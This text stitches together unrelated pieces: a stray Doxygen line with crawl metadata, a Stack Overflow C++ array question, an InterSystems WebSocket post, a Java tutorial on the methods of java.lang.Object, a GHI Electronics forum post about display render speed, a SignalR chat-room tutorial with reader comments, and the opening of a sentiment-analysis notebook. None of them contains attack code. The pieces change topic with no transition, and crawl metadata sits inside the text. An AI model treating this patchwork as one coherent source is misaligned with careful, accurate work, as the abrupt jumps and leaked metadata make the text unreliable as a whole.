See this answer in Stackoverflow for other alternatives to documenting C++ and Python code together in the same project. | https://wiki.freecadweb.org/Doxygen/it | CC-MAIN-2022-33 | refinedweb | 4,756 | 54.63 |
First, I would like to point out that I am a novice programmer.
I am using visual studio because I like it.
I was writing a program where I was experimenting with user input into arrays, and for some unknown reason, I kept getting errors when trying to use a cin function to define an array. I shortened the code to the specific line that gave me the repeatable error.
#include "stdafx.h"
#include <iostream>
using namespace std;
int main()
{
int num[1][1];
cin >> num[1][1];
return 0;
}
// The size of the array is one int num[1][1]; //array index starts from 0 since your size is one you can only have index 0 cin >> num[0][0]; | https://codedump.io/share/Le59pQGZXT6Z/1/cin-for-array-causing-eror | CC-MAIN-2016-50 | refinedweb | 121 | 65.66 |
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WebSockets as a communication technology wins increasing importance.
In the SAMPLES namespace, you find a nice example for running a WebSocket Server.
There is also a useful example for a Browser Client. But it is still in the browser. done in almost every browser.
e. g JavaScript has excellent and verified libraries to support what you need.
So I took a closer look of the CSP page included in SAMPLES and modified it to handle the request
and return the result to the Caché server using the good old Hyperevent.
2 issues required more investigation:
- How to launch the page on the browser without manual intervention?
- How to terminate the browser / tab after completion.
Launching the browser was solved once I found the location of the browser exe.
Then starting it using CPIPE or $ZF(-1,...) [or the new $ZF?? for newer versions ] worked immediately.
You compose your string from BrowserLocation_CSPpage_ InquiryMessage and of it goes:
// either do $zf(-1,browser_page_msg) // or open dev:browser_page_msg:0 write $t close dev
You have to be aware that all this an asynchronous environment and you have to check completion more than once.
It is an example and it should help you to adapt it to your individual needs.
You find the code and some more documentation on Open Exchange. | https://community.intersystems.com/post/client-websockets-based-csp | CC-MAIN-2019-18 | refinedweb | 217 | 66.44 |
Created on 2009-10-11 17:29 by pitrou, last changed 2020-06-08 05:00 by gvanrossum. This issue is now closed..
> delay all removals until all iterators are done
+1
This new patch makes it possible to mutate the dict without messing with
the delayed removal when an iterator exists.
It occurs weaksets have the same problem, here is a new patch fixing
them as well.
LGTM
Committed in r77365 (py3k) and r77366 (3.1). Thank you.
The issue still exists in 2.6 and 2.7.
Closing issue 839159 as a duplicate of this one.
Any plans on actually patching this in 2.7 any time soon? This is affecting our software and hanging it on random occasions.
What is the status of this issue? Does anyone still want to backport the fix to Python 2.7?
(I found this issue while searching for test_multiprocessing failures, and I found #7060 which refers this issue.)
Attached is a version for 2.7
Btw, I think a cleaner way to deal with unpredictable GC runs is to be able to temporarily disable GC with a context manager.
> Btw, I think a cleaner way to deal with unpredictable GC runs is to be able to temporarily disable GC with a context manager
Disabling the GC in a library function sounds very ugly to me.
No matter how it sounds, it certainly looks cleaner in code.
Look at all this code, designed to work around an unexpected GC collection with various pointy bits and edge cases and special corners.
Compare to explicitly just asking GC to relent, for a bit:
def getitems(self):
with gc.disabled():
for each in self.data.items():
yield each
That's it.
While a native implementation of such a context manager would be better (faster, and could be made overriding), a simple one can be constructed thus:
@contextlib.contextmanagerd
def gc_disabled():
enabled = gc.isenabled()
gs.disable()
try:
yield
finally:
if enabled:
gc.enable()
Such global "atomic" context managers are well known to stackless programmers. It's a very common idiom when building higher level primitives (such as locks) from lower level ones.
with stackless.atomic():
do()
various()
stuff_that_does_not_like_being_interrupted()
(stackless.atomic prevents involuntary tasklet switching _and_ involuntary thread switching)
> No matter how it sounds, it certainly looks cleaner in code.
It's also unsafe and invasive, since it's a process-wide setting. An
iterator can be long-lived if it's being consumed slowly, so you've
disabled garbage collection for an unknown amount of time, without the
user knowing about it. Another thread could kick in and perhaps
re-enable it for whatever reason.
Oh if someone calls gc.collect() explicitly, the solution is suddenly
defeated.
Yes, the "long iterator" scenario is the reason it is not ideal for this scenario.
The other one (gc.collect()) is easily solved by implementing this construct natively. It can be done rather simply by adding an overriding "pause" property to gc, with the following api:
def pause(increment):
"""
pause or unpause garbage collection. A positive value
increases the pause level, while a negative one reduces it.
when paused, gc won't happen even when explicitly requested with
gc.collect(), until the pause level drops to 0.
"""
I'm sure there are other places in the code with local execution that would benefit from not having an accidental GC run happen. I'm sure I've seen such places, with elaborate scaffolding to safeguard itself from such cases.
Anyway, my 2 aurar worth of lateral thinking applied to the problem at hand :)
What about the patch itself?
Speaking of which, this is not only about GC runs, although it is the most annoying scenario (since you basically don't control when it happens). Regular resource reaping because of reference counting can also wreak havoc.
About the patch, I don't know. It introduces new complexity in 2.7 which should be fairly stable by now. The one thing I don't like is your replacement of "iterator" by "iterable" in the docs.
(you also have one line commented out in the tests)
The changes for the docs are just a port of the original patch. And indeed, these functions don't return an iterator, but a generator object.
I admit I'm confused by the difference, since next() can be called directly on the generator. Still, a lot of code in the test explicitly calls iter() on the iterators before doing next(). Not sure why.
The commented out line is an artifact, I'll remove it, the correct one is the test for 20 items.
Otherwise, I have no vested interest in getting this in. My porting this is just me contributing to 2.7. If it's vetoed, we'll just put it in 2.8.
Here's a different approach.
Simply avoid the use of iterators over the underlying container.
Instead, we iterate over lists of items/keys/values etc.
I appreciate the simplicity, but I don't think it is acceptable -- if the dict is large, materializing the entire list of keys/values/items might allocate a prohibitive amount of memory. It's worse if you have code that is expected to break out of the loop.
Yes, the old memory argument.
But is it valid? Is there a conceivable application where a dict of weak references would be storing a large chunk of the application memory?
Remember, all of the data must be referred to from elsewhere, or else, the weak refs would not exist. An extra list of pointers is unlikely to make a difference.
I think the chief reason to use iterators has to do with performance by avoiding the creation of temporary objects, not saving memory per-se.
Before the invention of "iteritems()" and friends, all such iteration was by lists (and hence, memory usage). We should try to remain nimble enough so that we can undo an optimization previously done, if the requirements merit us doing so.
As a completely unrelated example of such nimbleness: Faced with stricter regulations in the 70s, american car makers had to sell their muscle cars with increasingly less powerful engines, efectively rolling back previous optimizations :).
Cheers!
>.
Either a) or c), for me. We shouldn't change semantics in bugfix
releases.
I'm with Antoine. Have we heard of any problems with the 3.x version of the patch? How different is it?
Strictly speaking b) is not a semantic change. Depending on your semantic definition of semantics. At any rate it is even less so than a) since the temporary list is hidden from view and the only side effect is additional memory usage.
d), We could also simply issue a (documentation) warning, that the "iterator" methods of these dictionares are known to be fragile, and recommend that people use the keys(), values() and items() instead.
d) sounds like a good enough resolution at this point.
I'm not sure I understand the hesitation about backporting the Python 3 solution. We're acknowledging it's a bug, so the fix is not a feature. The Python 3 solution is the future. So why not fix it?
That's the spirit, Guido :)
I just think people are being extra careful after the "regression" introduced in 2.7.5.
However, IMHO we must never let the odd mistake scare us from making necessary moves.
Unless Antoine explicitly objects, I think I'll submit my patch from november and we'll just watch what happens.
I'm ok with the backport.
New changeset 03fcc12282fc by Kristján Valur Jónsson in branch '2.7':
Issue #7105: weak dict iterators are fragile because of unpredictable GC runs
Since this is backported, shouldn't it be closed?
Shouldn't the documentation be updated?). | https://bugs.python.org/issue7105 | CC-MAIN-2021-39 | refinedweb | 1,291 | 66.94 |
Java provides a standard class library consisting of thousands of classes and other reference types. Despite the disparity in their capabilities, these types form one massive inheritance hierarchy by directly or indirectly extending the
Object class. This is also true for any classes and other reference types that you create.
In the first half of this miniseries on inheritance you learned the basics of inheritance, specifically how to use the
extends and
super keywords to derive a child class from a parent class, invoke parent class constructors and methods, override methods, and more. Now we'll turn our focus to the mothership of the Java class inheritance hierarchy,
java.lang.Object. Studying
Object and its methods will help you gain a more functional understanding of inheritance and how it works in your Java programs. Being familiar with those methods will help you make more sense of Java programs, generally.
Exploring the root of all classes
Object is the root class, or ultimate superclass, of all other Java classes. Stored in the
java.lang package,
Object declares the following methods, which all other classes inherit:
protected Object clone()
boolean equals(Object obj)
protected void finalize()
Class<?> getClass()
int hashCode()
void notify()
void notifyAll()
String toString()
void wait()
void wait(long timeout)
void wait(long timeout, int nanos)
A Java class inherits these methods and can override any method that's not declared
final. For example, the non-
final
toString() method can be overridden, whereas the
final
wait() methods cannot.
We'll look at each of these methods and how they enable you to perform special tasks in the context of your Java classes. First, let's consider the basic rules and mechanisms for
Object inheritance.
Extending Object
A class can explicitly extend
Object, as demonstrated in Listing 1.
Listing 1. Explicitly extending Object
public class Employee extends Object { private String name; public Employee(String name) { this.name = name; } public String getName() { return name; } public static void main(String[] args) { Employee emp = new Employee("John Doe"); System.out.println(emp.getName()); } }
Because you can extend at most one other class (recall from Part 1 that Java doesn't support class-based multiple inheritance), you're not forced to explicitly extend
Object; otherwise, you couldn't extend any other class. Therefore, you would extend
Object implicitly, as demonstrated in Listing 2.
Listing 2. Implicitly extending Object
public class Employee { private String name; public Employee(String name) { this.name = name; } public String getName() { return name; } public static void main(String[] args) { Employee emp = new Employee("John Doe"); System.out.println(emp.getName()); } }
Compile Listing 1 or Listing 2 as follows:
javac Employee.java
Run the resulting application:
java Employee
You should observe the following output:
John Doe
Information about classes: getClass()
The
getClass() method returns the runtime class of the object on which this method is called. The runtime class is represented by a
Class object, which is found in the
java.lang package.
Class is the entry point into the Java Reflection API, which I'll introduce in a future article. For now, know that a Java application uses
Class and the rest of the Java Reflection API to learn about its own structure.
Object duplication: clone()
The
clone() method creates and returns a copy of the object on which it's called. Because
clone()'s return type is
Object, the object reference that
clone() returns must be cast to the object's actual type before assigning that reference to a variable of the object's type. Listing 3 presents an application that demonstrates cloning.
Listing 3. Cloning an object
class CloneDemo implements Cloneable { int x; public static void main(String[] args) throws CloneNotSupportedException { CloneDemo cd = new CloneDemo(); cd.x = 5; System.out.println("cd.x = " + cd.x); CloneDemo cd2 = (CloneDemo) cd.clone(); System.out.println("cd2.x = " + cd2.x); } }
Listing 3's
CloneDemo class implements the
Cloneable interface, which is found in the
java.lang package.
Cloneable is implemented by the class (via the
implements keyword) to prevent
Object's
clone() method from throwing an instance of the
CloneNotSupportedException class (also found in
java.lang).
CloneDemo declares a single
int-based instance field named
x and a
main() method that exercises this class.
main() is declared with a
throws clause that passes
CloneNotSupportedException up the method-call stack.
main() first instantiates
CloneDemo and initializes the resulting instance's copy of
x to
5. It then outputs the instance's
x value and calls
clone() on this instance, casting the returned object to
CloneDemo before storing its reference. Finally, it outputs the clone's
x field value.
Compile Listing 3 (
javac CloneDemo.java) and run the application (
java CloneDemo). You should observe the following output:
cd.x = 5 cd2.x = 5
Overriding clone()
The previous example didn't need to override
clone() because the code that calls
clone() is located in the class being cloned (
CloneDemo). If the call to
clone() were located in a different class, however, then you would need to override
clone(). Because
clone() is declared
protected, you would receive a "clone has protected access in Object" message if you didn't override it before compiling the class. Listing 4 presents a refactored Listing 3 that demonstrates overriding
clone().
Listing 4. Cloning an object from another class
class Data implements Cloneable { int x; @Override public Object clone() throws CloneNotSupportedException { return super.clone(); } } class CloneDemo { public static void main(String[] args) throws CloneNotSupportedException { Data data = new Data(); data.x = 5; System.out.println("data.x = " + data.x); Data data2 = (Data) data.clone(); System.out.println("data2.x = " + data2.x); } }
Listing 4 declares a
Data class whose instances are to be cloned.
Data implements the
Cloneable interface to prevent a
CloneNotSupportedException from being thrown when the
clone() method is called. It then declares
int-based instance field
x, and overrides the
clone() method. The
clone() method executes
super.clone() to call its superclass's (that is,
Object's)
clone() method. The overriding
clone() method identifies
CloneNotSupportedException in its
throws clause.
Listing 4 also declares a
CloneDemo class that: instantiates
Data, initializes its instance field, outputs the value of the instance field, clones the
Data object, and outputs its instance field value.
Compile Listing 4 (
javac CloneDemo.java) and run the application (
java CloneDemo). You should observe the following output:
data.x = 5 data2.x = 5
Shallow cloning
Shallow cloning (also known as shallow copying) refers to duplicating an object's fields without duplicating any objects that are referenced from that object's reference fields (if there are any reference fields). Listings 3 and 4 actually demonstrated shallow cloning. Each of the
cd-,
cd2-,
data-, and
data2-referenced fields identifies an object that has its own copy of the
int-based
x field.
Shallow cloning works well when all fields are of the primitive type and (in many cases) when any reference fields refer to immutable (unchangeable) objects. However, if any referenced objects are mutable, changes made to any one of these objects can be seen by the original object and its clone(s). Listing 5 demonstrates.
Listing 5. The problem with shallow cloning in a reference field context
class Employee implements Cloneable { private String name; private int age; private Address address; Employee(String name, int age, Address address) { this.name = name; this.age = age; this.address = address; } @Override public Object clone() throws CloneNotSupportedException { return super.clone(); } Address getAddress() { return address; } String getName() { return name; } int getAge() { return age; } } class Address { private String city; Address(String city) { this.city = 5 presents
Employee,
Address, and
CloneDemo classes.
Employee declares
name,
age, and
address fields; and is cloneable.
Address declares an address consisting of a city and its instances are mutable.
CloneDemo drives the application.
CloneDemo's
main() method creates an
Employee object and clones this object. It then changes the city's name in the original
Employee object's
address field. Because both
Employee objects reference the same
Address object, the changed city is seen by both objects.
Compile Listing 5 (
javac CloneDemo.java) and run this application (
java CloneDemo). You should observe the following output:
John Doe: 49: Denver John Doe: 49: Denver John Doe: 49: Chicago John Doe: 49: Chicago
Deep cloning
Deep cloning (also known as deep copying) refers to duplicating an object's fields such that any referenced objects are duplicated. Furthermore, the referenced objects of referenced objects are duplicated, and so forth. Listing 6 refactors Listing 5 to demonstrate deep cloning.
Listing 6. Deep cloning the address field
class Employee implements Cloneable { private String name; private int age; private Address address; Employee(String name, int age, Address address) { this.name = name; this.age = age; this.address = address; } @Override public Object clone() throws CloneNotSupportedException { Employee e = (Employee) super.clone(); e.address = (Address) address.clone(); return e; } Address getAddress() { return address; } String getName() { return name; } int getAge() { return age; } } class Address { private String city; Address(String city) { this.city = city; } @Override public Object clone() { return new Address(new String 6 shows that
Employee's
clone() method first calls
super.clone(), which shallowly copies the
name,
age, and
address fields. It then calls
clone() on the
address field to make a duplicate of the referenced
Address object.
Address overrides the
clone() method and reveals a few differences from previous classes that override this method:
Addressdoesn't implement
Cloneable. It's not necessary because only
Object's
clone()method requires that a class implement this interface, and this
clone()method isn't being called.
- The overriding
clone()method doesn't throw
CloneNotSupportedException. This exception is thrown only from
Object's
clone()method, which isn't called. Therefore, the exception doesn't have to be handled or passed up the method-call stack via a throws clause.
Object's
clone()method isn't called (there's no
super.clone()call) because shallow copying isn't required for the
Addressclass -- there's only a single field to copy.
To clone the
Address object, it suffices to create a new
Address object and initialize it to a duplicate of the object referenced from the
city field. The new
Address object is then returned.
Compile Listing 6 (
javac CloneDemo.java) and run this application (
java CloneDemo). You should observe the following output:
John Doe: 49: Denver John Doe: 49: Denver John Doe: 49: Chicago John Doe: 49: Denver
Cloning arrays
Array types have access to the
clone() method, which lets you shallowly clone an array. When used in an array context, you don't have to cast
clone()'s return value to the array type. Listing 7 demonstrates array cloning.
Listing 7. Shallowly cloning a pair of arrays
class City { private String name; City(String name) { this.name = name; } String getName() { return name; } void setName(String name) { this.name = name; } } class CloneDemo { public static void main(String[] args) { double[] temps = { 98.6, 32.0, 100.0, 212.0, 53.5 }; for (int i = 0; i < temps.length; i++) System.out.print(temps[i] + " "); System.out.println(); double[] temps2 = temps.clone(); for (int i = 0; i < temps2.length; i++) System.out.print(temps2[i] + " "); System.out.println(); System.out.println(); City[] cities = { new City("Denver"), new City("Chicago") }; for (int i = 0; i < cities.length; i++) System.out.print(cities[i].getName() + " "); System.out.println(); City[] cities2 = cities.clone(); for (int i = 0; i < cities2.length; i++) System.out.print(cities2[i].getName() + " "); System.out.println(); cities[0].setName("Dallas"); for (int i = 0; i < cities2.length; i++) System.out.print(cities2[i].getName() + " "); System.out.println(); } }
Listing 7 declares a
City class that stores the name and (eventually) other details about a city, such as its population. The
CloneDemo class provides a
main() method to demonstrate array cloning.
main() first declares an array of double precision floating-point values that denote temperatures. After outputting this array's values, it clones the array -- note the absence of a cast operator. Next, it outputs the clone's identical temperature values.
Continuing,
main() creates an array of
City objects, outputs the city names, clones this array, and outputs the cloned array's city names. As a proof that shallow cloning was used, note that
main() changes the name of the first
City object in the original array and then outputs all of the city names in the second array. The second array reflects the changed name.
Compile Listing 7 (
javac CloneDemo.java) and run this application (
java CloneDemo). You should observe the following output:
98.6 32.0 100.0 212.0 53.5 98.6 32.0 100.0 212.0 53.5 Denver Chicago Denver Chicago Dallas Chicago
Comparing objects: equals()
The
equals() method lets you compare the contents of two objects to see if they are equal. This form of equality is known as content equality.
Although the
== operator compares two primitive values for content equality, it doesn't work the way you might expect (for performance reasons) when used in an object-comparison context. In this context,
== compares two object references to determine whether or not they refer to the same object. This form of equality is known as reference equality.
Object's implementation of the
equals() method compares the reference of the object on which
equals() is called with the reference passed as an argument to the method. In other words, the default implementation of
equals() performs a reference equality check. If the two references are the same,
equals() returns true; otherwise, it returns false.
You must override
equals() to perform content equality. The rules for overriding this method are stated in Oracle's official documentation for the
Object class. They're worth repeating below:
- Be reflexive: For any non-null reference value
x,
x.equals(x)should return true.
- Be symmetric: For any non-null reference values
xand
y,
x.equals(y)should return true if and only if
y.equals(x)returns true.
- Be transitive: For any non-null reference values
x,
y, and
z, if
x.equals(y)returns true and
y.equals(z)returns true, then
x.equals(z)should return true.
- Be consistent: For any non-null reference values
xand
y, multiple invocations of
x.equals(y)consistently return true or consistently return false, provided no information used in equals comparisons on the objects is modified.
Additionally, for any non-null reference value
x,
x.equals(null) should return false.
Content equality
The small application in Listing 8 demonstrates how to properly override
equals() to perform content equality.
Listing 8. Comparing objects for content equality; } } class EqualityDemo { public static void main(String[] args) { Employee e1 = new Employee("John Doe", 29); Employee e2 = new Employee("Jane Doe", 33); Employee e3 = new Employee("John Doe", 29); Employee e4 = new Employee("John Doe", 27 + 2); // Demonstrate reflexivity. System.out.println("Demonstrating reflexivity..."); System.out.println(); System.out.println("e1.equals(e1): " + e1.equals(e1)); System.out.println(); // Demonstrate symmetry. System.out.println("Demonstrating symmetry..."); System.out.println(); System.out.println("e1.equals(e2): " + e1.equals(e2)); System.out.println("e2.equals(e1): " + e2.equals(e1)); System.out.println("e1.equals(e3): " + e1.equals(e3)); System.out.println("e3.equals(e1): " + e3.equals(e1)); System.out.println("e2.equals(e3): " + e2.equals(e3)); System.out.println("e3.equals(e2): " + e3.equals(e2)); System.out.println(); // Demonstrate transitivity. System.out.println("Demonstrating transitivity..."); System.out.println(); System.out.println("e1.equals(e3): " + e1.equals(e3)); System.out.println("e3.equals(e4): " + e3.equals(e4)); System.out.println("e1.equals(e4): " + e1.equals(e4)); System.out.println(); // Demonstrate consistency. System.out.println("Demonstrating consistency..."); System.out.println(); for (int i = 0; i < 5; i++) { System.out.println("e1.equals(e2): " + e1.equals(e2)); System.out.println("e1.equals(e3): " + e1.equals(e3)); } System.out.println(); // Demonstrate the null check. System.out.println("Demonstrating null check..."); System.out.println(); System.out.println("e1.equals(null): " + e1.equals(null)); } }
Listing 8 declares an
Employee class that describes employees as combinations of names and ages. This class also overrides
equals() to properly compare two
Employee objects.
The
equals() method first verifies that an
Employee object has been passed. If not, it returns false. This check relies on the
instanceof operator, which also evaluates to false when
null is passed as an argument. Note that doing this satisfies the final rule above: "for any non-null reference value
x,
x.equals(null) should return false."
Continuing, the object argument is cast to
Employee. You don't have to worry about a possible
ClassCastException because the previous
instanceof test guarantees that the argument has
Employee type. Following the cast, the two
name fields are compared, which relies on
String's
equals() method, and the two
age fields are compared.
Compile Listing 8 (
javac EqualityDemo.java) and run the application (
java EqualityDemo). You should observe the following output:
Demonstrating reflexivity... e1.equals(e1): true Demonstrating symmetry... e1.equals(e2): false e2.equals(e1): false e1.equals(e3): true e3.equals(e1): true e2.equals(e3): false e3.equals(e2): false Demonstrating transitivity... e1.equals(e3): true e3.equals(e4): true e1.equals(e4): true Demonstrating consistency... e1.equals(e2): false e1.equals(e3): true e1.equals(e2): false e1.equals(e3): true e1.equals(e2): false e1.equals(e3): true e1.equals(e2): false e1.equals(e3): true e1.equals(e2): false e1.equals(e3): true Demonstrating null check... e1.equals(null): false
Calling equals() on an array
You can call
equals() on an array object reference, as shown in Listing 9, but you shouldn't. Because
equals() performs reference equality in an array context, and because
equals() cannot be overridden in this context, this capability isn't useful.
Listing 9. An attempt to compare arrays
class EqualityDemo { public static void main(String[] args) { int x[] = { 1, 2, 3 }; int y[] = { 1, 2, 3 }; System.out.println("x.equals(x): " + x.equals(x)); System.out.println("x.equals(y): " + x.equals(y)); } }
Listing 9's
main() method declares a pair of arrays with identical types and contents. It then attempts to compare the first array with itself and the first array with the second array. However, because of reference equality, only the array object references are being compared; the contents are not compared. Therefore,
x.equals(x) returns true (because of reflexivity -- an object is equal to itself), but
x.equals(y) returns false.
Compile Listing 9 (
javac EqualityDemo.java) and run the application (
java EqualityDemo). You should observe the following output:
x.equals(x): true x.equals(y): false
Assigning cleanup tasks: finalize()
Suppose you've created a
Truck object and have assigned its reference to
Truck variable
t. Now suppose that this reference is the only reference to that object (that is, you haven't assigned
t's reference to another variable). By assigning
null to
t, as in
t = null;, you remove the only reference to the recently created
t object, and make the object available for garbage collection.
The
finalize() method lets an object whose class overrides this method, and which is known as a finalizer, perform cleanup tasks (such as releasing operating system resources) when called by the garbage collector. This cleanup activity is known as finalization.
The default
finalize() method does nothing; it returns when called. You must provide code that performs some kind of cleanup task, and should code
finalize() according to the following pattern:
class someClass { // ... @Override protected void finalize() throws Throwable { try { // Finalize the subclass state. // ... } finally { super.finalize(); } } }
Because
finalize() can execute arbitrary code, it's capable of throwing an exception. Because all exception classes ultimately derive from
Throwable (in the
java.lang package),
Object declares
finalize() with a
throws Throwable clause appended to its method header.
Finalization for).
Supporting article, I'll demonstrate what can go wrong when you don't override
hashCode(). I'll also present a recipe for writing a good
hashCode() method and demonstrate this method with various hash-based collections.
String representation and debugging:
Waiting and coordination, in a future Java 101 article.
In.
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I’m working on an gauge type indicator using the 7" LCD and the EMX/Cobra. It will have two pointers swinging from the top center of the display and deflecting +/- 60 degrees. Ideally I would like a refresh rate of 5-10Hz.
I’ve been trying to get an idea of performance for the system using the code below.
With the Glide Window set to 800x480 and the image object set to 560x280 it takes approx 17 seconds to render and flush the image to the screen 30 times. This is much improved over the 35+seconds my previous code was taking, that was repainting the entire 800x480 area.
My question is: Is this the expected performance for the EMX and the 7" display or am I doing something totally wrong?
Thanks
Brian
using System.Threading; using Microsoft.SPOT; using GHIElectronics.NETMF.Glide; using GHIElectronics.NETMF.Glide.Display; using GHIElectronics.NETMF.Glide.UI; namespace GlideTest1 { public class Program { // This will hold the main window. static Window window; static long StartTick = 0; static long StopTick = 0; public static void Main() { // Add the following as a txt file Resource named "WindowX" // <Glide Version="1.0.4"> // <Window Name="window" Width="800" Height="480" BackColor="FFFFFF"> // <Image Name="image" X="120" Y="0" Width="560" Height="280" Alpha="255"/> // <Button Name="button" X="0" Y="0" Width="80" Height="32" Alpha="255" Text="Button" Font="4" FontColor="000000" DisabledFontColor="808080" TintColor="000000" TintAmount="0"/> // </Window> // </Glide> // Load the window, window = GlideLoader.LoadWindow(Resources.GetString(Resources.StringResources.WindowX)); // Initialize the image I will be drawing on Image image = (Image)window.GetChildByName("image"); //Start timing StartTick = System.DateTime.Now.Ticks; Glide.MainWindow = window; for (int i=0; i < 30; i++) { image.Bitmap.DrawEllipse(Colors.Blue, 20+i, 20+i, 50-i, 50-i); //also tried as a Rectangle to see if performance was impacted //image.Bitmap.DrawRectangle(Colors.Blue, 2, 20 + i, 20 + i, 50 - i, 50 - i, 0, 0, Colors.Red, 0, 0, Colors.Red,0,0,100); image.Render(); Glide.Flush(image); //Thread.Sleep(150); //desired refresh rate is 5-10Hz } //STOP TIMING StopTick = System.DateTime.Now.Ticks; //Print to debug how long the for loop operation took to complete. Debug.Print(((StopTick - StartTick) / 10000).ToString() + " mSec"); Thread.Sleep(-1); } } } | https://forums.ghielectronics.com/t/render-speed-on-emx-with-7/9211 | CC-MAIN-2019-22 | refinedweb | 378 | 51.14 |
C# Corner
In the first installment of app-building with SignalR, learn how to build a real-time chat application.
More on this topic:
Are you sick of that dreaded page refresh? Want to turn your Web application up to 11? If you've answered yes to either question, SignalR is for you. With SignalR, you can provide content to your users in real-time, all from ASP.NET. Most importantly, it's compatible with browsers ranging all the way back to IE6! SignalR uses WebSockets on supported browsers and will fall back to server-side events, Forever Frame, or AJAX long polling if needed. This means you can use a single library and not have to worry about that minutia.
There are two approaches you can use with SignalR to achieve real-time communications: a persistent connection or a hub. The persistent connection API allows you to keep open a persistent connection between the client and server to send and receive data. The hub API is an abstraction above the persistent connection API, and is suitable for remote procedure calls (RPC).
This article will focus on the persistent connection API. I believe the best way to learn a new technology is to build something useful with it, so we'll create a chat client using SignalR. To get started, create a new C# ASP.NET MVC 4 project from Visual Studio 2012, then select the Web API option for your project type. Next, install the Microsft SignalR pre-release NuGet package through the NuGet Package Manager (Figure 1).
In order to support IE 6 and 7, install the JSON-js-json2 NuGet Package as well, as shown in Figure 2.
Without further ado, let's get started on this app. First create a new folder in the project named Chat. Then create a new class named ChatConnection within the Chat directory that inherits from PersistentConnection. You'll need to add a using statement for the Microsoft.AspNet.SignalR namespace.
Now open up the RouteConfig class under the App_Start folder in the project. Add a using statement for the Microsoft.Asp.Net.Signal namespace to the RouteConfig class:
using Microsoft.AspNet.SignalR;
Next, register the ChatConnection class to the "chat" route in the RegisterRoutes method in the RouteConfig class:
RouteTable.Routes.MapConnection<ChatConnection>("chat","chat/{*operation}");
Your completed RouteConfig class should resemble Listing 1.
Now to create the ChatData data structure that will be used to interchange data between the client and the server. Create a new class named ChatData with Message and Name string data type properties:
namespace VSMSignalRSample.Chat
{
public class ChatData
{
public string Name { get; set; }
public string Message { get; set; }
public ChatData()
{
}
public ChatData(string name, string message)
{
Name = name;
Message = message;
}
}
}
Now it's time to finish implementing the ChatConnection class, which will receive and broadcast chat messages. Add using statements for the System.Threading.Tasks and Newtonsoft.Json namespaces. Next, add a private Dictionary<string, string> to store the clients that connect to the chat room:
private Dictionary<string, string> _clients = new Dictionary<string, string>();
The PersistentConnection base class includes functionality for dealing asynchronously with a few critical server-side events such as a new connection, disconnection, reconnection and data retrieval. Let's implement the OnConnectedAsync event handler first. When a new user first joins the room, they're added to the _clients Dictionary object, which will be used to map the user's chosen chat name with their connectionId. Then a broadcast message is sent to all users, letting them know a new user has joined the chat room:
protected override Task OnConnectedAsync(IRequest request, string connectionId)
{
_clients.Add(connectionId, string.Empty);
ChatData chatData = new ChatData("Server", "A new user has joined the room.");
return Connection.Broadcast(chatData);
}
Now it's time to tackle data retrieval from a connected client through the OnReceivedAsync event handler. First, the JSON data object from the client is desterilized into a ChatData object through JSON.NET. Then the user's name is stored in the _clients dictionary. Finally, the user's ChatData is broadcast to all users:
protected override Task OnReceivedAsync(IRequest request, string connectionId, string data)
{
ChatData chatData = JsonConvert.DeserializeObject<ChatData>(data);
_clients[connectionId] = chatData.Name;
return Connection.Broadcast(chatData);
}
The last event to handle is client disconnection, via the OnDisconnectedAsync method. When a user disconnects, he or she is removed from the _clients dictionary. Then a message is broadcast to all users, letting them know a user has left the room:
protected override Task OnDisconnectAsync(IRequest request, string connectionId)
{
string name = _clients[connectionId];
ChatData chatData = new ChatData("Server", string.Format("{0} has left the room.", name));
_clients.Remove(connectionId);
return Connection.Broadcast(chatData);
}
Now it's time to create the client-side JavaScript that will communicate with the persistent chat connection to display incoming chat messages and chat room events to the user. Create a new JavaScript file named ChatR.js within the Scripts folder. The first step is to retrieve the server chat connection object through the SignalR JavaScript plug-in:
var myConnection = $.connection("/chat");
Next, the received event is set up to display a received chat message as a new list item element in the messages unordered list DOM element:
myConnection.received(function (data) {
$("#messages").append("<li>" + data.Name + ': ' + data.Message + "</li>");
});
After that, the error handler for the connection is set up to display a console warning. This is mainly to ease debugging of the chat connection:
myConnection.error(function (error) {
console.warn(error);
});
Lastly, a connection is initiated to the chat server and a continuation is set up to handle the message send button-click event. Within the button-click event handler, the user's name and message are retrieved from the name and message text boxes, respectively. Then the user's name and message are sent to the chat server as a JSON object, as shown in Listing 2.
Now it's time to set up the UI for the Web application. Add a new MVC View class to the Home directory, named ChatR, that binds to the Chat.ChatData model. In the bottom of the view add a script reference to the ~/Sciprts/ChatR.js script created earlier:
@{
ViewBag.Title = "Chat";
}
<h2>Chat</h2>
@using (Html.BeginForm()) {
@Html.EditorForModel();
<input id="send" value="send" type="button" />
<ul id="messages" style="list-style:none;"></ul>
}
@section Scripts { <script src="~/Scripts/ChatR.js"></script> }
Now, add a controller action method named ChatR to the HomeController that returns a new view bound to an empty Chat.ChatData object:
public ActionResult ChatR()
{
var vm = new Chat.ChatData();
return View(vm);
}
That's it: sit back, relax and invite a few friends to try out your new chat app, shown in Figure 3.
As you can, see SignalR is quite easy to work with and the PersistentConnection API is very flexible. With SignalR, you can tackle a plethora of real-time Web app use cases from business to gaming. Stay tuned for the next installment, which covers how to use the SignalR Hub API to create a dynamic form.
Dear all, its ok. I gave up trying to resolve the issue. In the end, i created a totally new project and wrote my own code and it works! I just dont get it why it is not working by following the exact same steps as this sample though.
Anyway thanks all!
Anyone else see/solve the 404 Eric Tan mentions? Only happens after upgrade to SignalR RC2
good
Very good thinking.Thanks.
Dominik, we fixed the problem with Listings 1 and 2. Thanks for spotting that!
d
Dear Eric,
Your article is great and your sample app works!
I tried to do the exact same steps but i was unable to chat with the following error encountered.
NetworkError: 404 Not Found -
The Nuget package for signalr has been upgrade to RC2 recently.
Are you able to advise on my error?
Thanks!
First of all, thanks for the tuorial.
A few notes:
-You mixed up Listing 1 and Listing 2 in the text, Listing 1 shows the js file, not the RouteConfig.
-"First, the JSON data object from the client is desterilized into a ChatData object" -> probably should read "deserialized" ;)
-SignalR change the method names of PersistentConnection lately, they now lack the "Async" suffix. (e.g. OnConnected instead of OnConnectedAsync)
Anyway, keep up the good work!
G, the next article in the series demonstrates how to create a real-time CRUD app.
Scott, you can create a group with the two needed members to create a 1-1 chat.
Dear Eric, Would you kindly give an example of a CRUD web app and a database? Thank you G.
Good article Eric. What would your recommendation be if you wanted to create a website chat for 1-to-1 communication (like LiveChat)?
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# coding: utf-8
# # Transfer Learning for NLP: Sentiment Analysis on Amazon Reviews
# In this notebook, we show how transfer learning can be applied to detecting the sentiment of amazon reviews, between positive and negative reviews.
#
# This notebook uses the work from [Howard and Ruder, Ulmfit]().
